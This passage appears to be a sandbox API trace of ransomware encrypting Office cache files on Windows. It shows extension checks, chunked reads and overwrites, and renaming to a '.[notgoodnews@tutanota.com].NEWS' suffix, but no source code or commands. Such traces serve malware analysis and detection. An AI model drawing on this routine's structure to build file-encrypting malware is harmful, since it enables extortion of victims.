(lpString1=".rar", lpString2="fest") returned -1 [0066.325] lstrlenW (lpString=".bz2") returned 4 [0066.325] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0066.325] lstrlenW (lpString=".7z") returned 3 [0066.325] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0066.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0066.325] lstrlenW (lpString=".dbf") returned 4 [0066.325] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0066.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0066.325] lstrlenW (lpString=".1cd") returned 4 [0066.325] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0066.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0066.325] lstrlenW (lpString=".jpg") returned 4 [0066.325] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0066.326] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0066.326] lstrlenW (lpString="OfficeMUI.msi") returned 13 [0066.326] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0066.326] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x35cff1c | out: lpFileSize=0x35cff1c*=3702272) returned 1 [0066.326] CloseHandle (hObject=0x1c0) returned 1 [0066.326] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi")) returned 0x2020 [0066.326] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0066.327] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0066.327] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0066.327] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc6c | out: lpNewFilePointer=0x0) returned 1 [0066.327] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0066.328] ReadFile (in: hFile=0x1c0, lpBuffer=0x3c80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c80058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0066.333] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0066.333] ReadFile (in: hFile=0x1c0, lpBuffer=0x3cc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cc0058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0066.350] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0066.350] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0066.350] ReadFile (in: hFile=0x1c0, lpBuffer=0x3d00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d00058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0066.557] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0066.557] WriteFile (in: hFile=0x1c0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x35cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x35cfcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0066.594] SetEndOfFile (hFile=0x1c0) returned 1 [0066.594] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x4035008 [0068.089] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0068.089] WriteFile (in: hFile=0x1c0, lpBuffer=0x4035008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x4035008*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0068.092] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0068.092] WriteFile (in: hFile=0x1c0, lpBuffer=0x4035008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x4035008*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0068.101] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0068.101] WriteFile (in: hFile=0x1c0, lpBuffer=0x4035008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x4035008*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0068.105] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4035008 | out: hHeap=0x5c0000) returned 1 [0068.105] CloseHandle (hObject=0x1c0) returned 1 [0068.105] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0068.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0068.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0068.106] lstrlenW (lpString=".doc") returned 4 [0068.106] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0068.106] lstrlenW (lpString=".docx") returned 5 [0068.106] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0068.106] lstrlenW (lpString=".pdf") returned 4 [0068.106] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0068.106] lstrlenW (lpString=".xls") returned 4 [0068.106] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0068.106] lstrlenW (lpString=".xlsx") returned 5 [0068.106] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0068.106] lstrlenW (lpString=".ppt") returned 4 [0068.106] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0068.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0068.106] lstrlenW (lpString=".zip") returned 4 [0068.106] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0068.106] lstrlenW (lpString=".rar") returned 4 [0068.106] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0068.106] lstrlenW (lpString=".bz2") returned 4 [0068.107] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0068.107] lstrlenW (lpString=".7z") returned 3 [0068.107] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0068.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0068.107] lstrlenW (lpString=".dbf") returned 4 [0068.107] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0068.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0068.107] lstrlenW (lpString=".1cd") returned 4 [0068.107] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0068.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0068.107] lstrlenW (lpString=".jpg") returned 4 [0068.107] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0068.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0068.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0068.107] lstrlenW (lpString=".doc") returned 4 [0068.107] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0068.107] lstrlenW (lpString=".docx") returned 5 [0068.107] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0068.107] lstrlenW (lpString=".pdf") returned 4 [0068.107] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0068.107] lstrlenW (lpString=".xls") returned 4 [0068.107] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0068.108] lstrlenW (lpString=".xlsx") returned 5 [0068.108] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0068.108] lstrlenW (lpString=".ppt") returned 4 [0068.108] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0068.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0068.108] lstrlenW (lpString=".zip") returned 4 [0068.108] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0068.108] lstrlenW (lpString=".rar") returned 4 [0068.108] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0068.108] lstrlenW (lpString=".bz2") returned 4 [0068.109] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0068.109] lstrlenW (lpString=".7z") returned 3 [0068.110] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0068.110] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0068.110] lstrlenW (lpString=".dbf") returned 4 [0068.110] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0068.110] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0068.110] lstrlenW (lpString=".1cd") returned 4 [0068.110] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0068.110] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0068.110] lstrlenW (lpString=".jpg") returned 4 [0068.110] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0068.110] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0068.110] lstrlenW (lpString="Office32WW.msi") returned 14 [0068.110] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0068.111] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x35cff1c | out: lpFileSize=0x35cff1c*=1992192) returned 1 [0068.111] CloseHandle (hObject=0x1c0) returned 1 [0068.111] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0068.111] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0068.111] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0068.112] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0068.112] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc6c | out: lpNewFilePointer=0x0) returned 1 [0068.112] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0068.112] ReadFile (in: hFile=0x1c0, lpBuffer=0x3c80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c80058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0068.286] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0068.286] ReadFile (in: hFile=0x1c0, lpBuffer=0x3cc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cc0058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0068.507] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0068.508] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0068.508] ReadFile (in: hFile=0x1c0, lpBuffer=0x3d00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d00058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0068.692] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.693] WriteFile (in: hFile=0x1c0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x35cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x35cfcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0069.095] SetEndOfFile (hFile=0x1c0) returned 1 [0069.096] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x4035008 [0069.096] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0069.096] WriteFile (in: hFile=0x1c0, lpBuffer=0x4035008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x4035008*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0069.098] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0069.098] WriteFile (in: hFile=0x1c0, lpBuffer=0x4035008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x4035008*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0069.102] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0069.102] WriteFile (in: hFile=0x1c0, lpBuffer=0x4035008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x4035008*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0069.106] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4035008 | out: hHeap=0x5c0000) returned 1 [0069.106] CloseHandle (hObject=0x1c0) returned 1 [0069.358] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0069.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0069.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0069.358] lstrlenW (lpString=".doc") returned 4 [0069.358] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0069.358] lstrlenW (lpString=".docx") returned 5 [0069.358] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0069.358] lstrlenW (lpString=".pdf") returned 4 [0069.358] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0069.359] lstrlenW (lpString=".xls") returned 4 [0069.359] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0069.359] lstrlenW (lpString=".xlsx") returned 5 [0069.359] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0069.359] lstrlenW (lpString=".ppt") returned 4 [0069.359] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0069.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0069.359] lstrlenW (lpString=".zip") returned 4 [0069.359] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0069.359] lstrlenW (lpString=".rar") returned 4 [0069.359] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0069.359] lstrlenW (lpString=".bz2") returned 4 [0069.359] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0069.359] lstrlenW (lpString=".7z") returned 3 [0069.359] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0069.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0069.359] lstrlenW (lpString=".dbf") returned 4 [0069.359] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0069.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0069.359] lstrlenW (lpString=".1cd") returned 4 [0069.360] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0069.360] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0069.360] lstrlenW (lpString=".jpg") returned 4 [0069.360] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.360] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0069.360] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0069.360] lstrlenW (lpString=".doc") returned 4 [0069.360] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0069.360] lstrlenW (lpString=".docx") returned 5 [0069.360] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0069.360] lstrlenW (lpString=".pdf") returned 4 [0069.360] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0069.360] lstrlenW (lpString=".xls") returned 4 [0069.360] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0069.360] lstrlenW (lpString=".xlsx") returned 5 [0069.360] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0069.360] lstrlenW (lpString=".ppt") returned 4 [0069.360] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0069.360] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0069.360] lstrlenW (lpString=".zip") returned 4 [0069.361] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0069.361] lstrlenW (lpString=".rar") returned 4 [0069.361] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0069.361] lstrlenW (lpString=".bz2") returned 4 [0069.361] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0069.361] lstrlenW (lpString=".7z") returned 3 [0069.361] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0069.361] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0069.361] lstrlenW (lpString=".dbf") returned 4 [0069.361] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0069.361] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0069.361] lstrlenW (lpString=".1cd") returned 4 [0069.361] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0069.361] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0069.361] lstrlenW (lpString=".jpg") returned 4 [0069.361] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.361] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0069.362] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0069.362] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0069.362] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x35cff1c | out: lpFileSize=0x35cff1c*=715834) returned 1 [0069.362] CloseHandle (hObject=0x1c0) returned 1 [0069.362] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0069.362] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0069.363] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0069.363] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0069.363] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0069.363] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0069.364] GetLastError () returned 0x0 [0069.364] ReadFile (in: hFile=0x1c0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x35cfed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0069.742] WriteFile (in: hFile=0x200, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x35cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x35cfc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0070.463] ReadFile (in: hFile=0x1c0, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x35cfed4*=0x0, lpOverlapped=0x0) returned 1 [0070.463] WriteFile (in: hFile=0x200, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x35cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x35cfc9c*=0x104, lpOverlapped=0x0) returned 1 